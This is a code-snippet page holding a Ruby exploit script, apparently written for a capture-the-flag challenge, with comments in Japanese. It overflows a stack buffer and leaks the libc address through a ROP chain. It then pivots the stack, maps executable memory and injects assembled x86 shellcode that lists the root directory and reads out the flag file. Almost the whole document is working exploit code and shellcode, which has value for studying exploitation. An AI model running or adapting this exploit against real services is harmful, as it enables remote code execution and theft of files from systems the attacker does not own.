Snippets
Created by
Masafumi Yabu
last modified
nomeaning777
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 | # For Level3, Level4
# CTF Library: https://bitbucket.org/nomeaning777/ctf
# Usage: ruby exploit.rb HOST PORT
# Level4はこれを元にlibc_offsetを決め打ちする
require 'ctf'
require 'metasm'
# ファイル一覧取得
first_shellcode = Metasm::Shellcode.assemble(Metasm::Ia32.new, <<SOURCE).encode_string
#include <asm/unistd_32.h>
#define syscall(name) mov eax, __NR_##name \\
int 0x80
// opendir("/")
push 0x0000002f
mov ebx, esp
mov ecx, 0200000
syscall(open)
push eax
loop:
pop ebx
push ebx
mov ecx,0x12340800
mov edx, 1
syscall(readdir)
cmp eax, 0
je exit_loop
mov ebx, 1
mov ecx, 0x1234080a
mov esi, 0x12340808
xor edx, edx
mov dx,[esi]
syscall(write)
mov ebx, 1
push 0x0a
mov ecx, esp
mov edx, 1
syscall(write)
pop eax
jmp loop
exit_loop:
mov ebx, 0
mov ecx, 0x12340400
mov edx, 0x1000
syscall(read)
mov eax, 0x12340500
jmp eax
SOURCE
# ファイル読み出し
second_shellcode = Metasm::Shellcode.assemble(Metasm::Ia32.new, <<SOURCE).encode_string
#include <asm/unistd_32.h>
#define syscall(name) mov eax, __NR_##name \\
int 0x80
mov ebx, 0x12340400
mov ecx, 0
syscall(open)
mov ebx, eax
mov ecx, 0x12340800
mov edx, 0x100
syscall(read)
mov ebx, 1
mov ecx, 0x12340800
mov edx, eax
syscall(write)
mov ebx, 0
syscall(exit)
SOURCE
TCPSocket.open(*ARGV) do |s|
# Exploitの流れ
# 1. ROPでwriteのオフセットを読み出し、libcの場所を特定する
# 2. 続けてmainを読み出し、再度ROP
# 3. .bssにreadして再度mainを呼ぶ
# 4. stack pivot
# 5. stager
WRITE_LIBC = 0xdac50
SYSTEM_LIBC = 0x40190
BINSH_LIBC = 0x160a24
MMAP_LIBC = 0xe6fa0
EAX_LIBC = 0x2469f
EBX_LIBC = 0x198ce
ECX_EDX_LIBC = 0x2e3cb
ESI_LIBC = 0x19626
SYSCALL_LIBC = 0x2e6a5
POP_7_LIBC = 0x68b15
WRITE_PLT = 0x804830c
WRITE_PLT_OFS = 0x8049614
READ_PLT = 0x0804832c
MAIN = 0x804841d
FD_STDOUT = 1
FD_STDIN = 0
POP_4 = 0x080484b5
POP_3 = POP_4 + 1
POP_2 = POP_3 + 1
POP_1 = POP_2 + 1
POP_EBP = 0x080483c3
LEAVE = 0x080482ea
PIVOT_OFFSET = 0x0804951c + 0x40
def generate_stager(libc_ofs)
# mmap2(0x12340000, 0x1000, 7, MMAP_PRIVATE|MMAP_ANONYMOUS, 0, 0)
rop = [MMAP_LIBC + libc_ofs, POP_7_LIBC + libc_ofs, 0x12340000, 0x1000, 7, 0x22, 0, 0]
rop += [0] # dummy
# read(FD_STDIN, 0x12340000, 0x1000)
rop += [READ_PLT, POP_3, FD_STDIN, 0x12340000, 0x1000]
# call 0x1234000
rop += [0x12340000]
rop
end
rop = [WRITE_PLT, MAIN, FD_STDOUT, WRITE_PLT_OFS, 4] # write(1, write_plt_ofs, 4)
s.print 'a' * 0x8c + rop.pack("I*")
write_ofs, = s.read(4).unpack("I")
libc_ofs = write_ofs - WRITE_LIBC
# mainが再度呼ばれるのでread
rop = [READ_PLT, MAIN, FD_STDIN, PIVOT_OFFSET, 0x100]
s.print 'a' * 0x8c + rop.pack("I*")
s.flush
# stager
s.print generate_stager(libc_ofs).pack("I*")
s.flush; sleep 0.5
# mainが再度呼ばれるのでread
rop = [POP_EBP,
PIVOT_OFFSET - 4,
LEAVE
]
s.print 'a' * 0x8c + rop.pack("I*")
s.flush; sleep 0.2
# send shellcode
s.print first_shellcode
s.flush; sleep 0.5
while input = s.gets
puts "File: #{input}"
if /flag/ =~ input # フラグのファイルを特定する
shellcode = "/" + input.chomp
shellcode += "\0" * (0x100 - shellcode.size)
s.print shellcode + second_shellcode
s.flush
s.interactive!
exit
end
end
end
|
Comments (0)
You can clone a snippet to your computer for local editing. Learn more.